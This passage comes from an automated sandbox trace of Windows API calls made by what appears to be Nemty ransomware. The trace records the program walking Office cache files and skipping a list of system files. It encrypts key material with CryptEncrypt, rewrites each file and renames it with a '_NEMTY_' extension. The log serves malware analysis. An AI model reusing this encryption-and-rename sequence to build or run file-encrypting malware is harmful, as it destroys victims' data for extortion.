CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PublisherMUI.xml", lpUsedDefaultChar=0x0) returned 16 [0047.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0047.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.xml", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PublisherMUI.xml", lpUsedDefaultChar=0x0) returned 16 [0047.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0047.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.xml", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PublisherMUI.xml", cchWideChar=16, lpMultiByteStr=0x4f9ece0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PublisherMUI.xml", lpUsedDefaultChar=0x0) returned 16 [0047.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0047.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0047.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.296] Sleep (dwMilliseconds=0x5) [0047.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfe4d5f0, dwHighDateTime=0x1d561e7)) [0047.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfe4d5f0, dwHighDateTime=0x1d561e7)) [0047.303] GetLastError () returned 0x0 [0047.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.303] GetLastError () returned 0x0 [0047.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0047.303] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.303] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.304] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.304] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="RhzB+QAkUrw5FhRiTVkCJp2sWaanCRY9w6MhVP1Ex03JVGkQR8g/CvrLRF6s0M3D\r\nNflyhnzqgnRFMYZP/zeNe1lhIrNlnb3agvR5fj9ofFIit6fvTQ7ogFNWYf15R1l/\r\nsm2uE6ed7sDFumgKnfGR+H9V705Xbz9IWLvF67xUUEwPxY14v/YVucyPUFSAasmG\r\nKbfb3T7Ogg54e3+X539vJtM4y/qJMC1BxwZwJlI3ukGZFZzaZ8rUNAQfyPM1W0TO\r\nQQ/dO+p+hwkIWi0F1dpUf+2MTVQLiVxBHmhjFargIMWFtsBnf1vv0NaEaBeTjlQP\r\n4nvepAh02rn9JI8n9Jx0qg==\r\n", pcchString=0x653ef9c) returned 1 [0047.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0047.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.304] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.304] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1450) returned 1 [0047.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5a0) returned 0x6343fe8 [0047.304] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.304] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x5a0, lpOverlapped=0x0) returned 1 [0047.306] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.306] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x5a0, lpOverlapped=0x0) returned 1 [0047.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.306] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5aa [0047.306] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.306] CloseHandle (hObject=0x3c8) returned 1 [0047.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0047.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0047.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0047.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94198 [0047.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0047.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0047.307] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml._nemty_kgobjgd_")) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.308] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2=".") returned 1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2="..") returned 1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2="...") returned 1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2="windows") returned -1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2="rsa") returned -1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2="NTDETECT.COM") returned 1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2="ntldr") returned 1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2="MSDOS.SYS") returned 1 [0047.308] lstrcmpiW (lpString1="PubLR.cab", lpString2="IO.SYS") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="boot.ini") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="boot.ini") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="ntuser.dat") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="desktop.ini") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="CONFIG.SYS") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="RECYCLER") returned -1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="bootmgr") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="programdata") returned 1 [0047.309] lstrcmpiW (lpString1="PubLR.cab", lpString2="appdata") returned 1 [0047.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PubLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PubLR.cab", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PubLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PubLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PubLR.cab", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PubLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PubLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PubLR.cab", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PubLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PubLR.cab", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PubLR.cab", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PubLR.cab", lpUsedDefaultChar=0x0) returned 9 [0047.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0047.309] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.309] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0047.309] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0047.310] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0047.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.310] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.310] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0047.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.311] Sleep (dwMilliseconds=0x5) [0047.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfe73750, dwHighDateTime=0x1d561e7)) [0047.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xcfe73750, dwHighDateTime=0x1d561e7)) [0047.313] GetLastError () returned 0x0 [0047.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.313] GetLastError () returned 0x0 [0047.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.313] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.313] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.313] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.313] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="xiXUkoJwMcT0S7VCin4vazuD0PRS8+NZm5D09kKleHvhxw52iSk9FMEUKflUvnba\r\nAqSFNBplubdPXbOR8zKP+359gZoS0lnxi0/ECuNPSM4Cpo400/a2i3LcQ2q5Ck2C\r\n3hnQJjKUltfr2sG6D1JR2QrLpgjPmwl/i5QTmFcwmOOx45fCzJsmcrhkpl0wANzg\r\ncMGgVDx8iu1bnapPzz402JnZMklzORYgdPmwprJ1G+57aSl8lZA85QdGg/1SWjK0\r\nqtf/rqOjFxocJbuchH1jc/KMzbzIcYw7SJxMVMhrRODDnoPs5luPijH/TQpytoak\r\nJJyEO6hPWKMdFGgCct1deQ==\r\n", pcchString=0x653ef9c) returned 1 [0047.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.314] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1608) returned 1 [0047.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x640) returned 0x6343fe8 [0047.314] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.314] ReadFile (in: hFile=0x3c8, 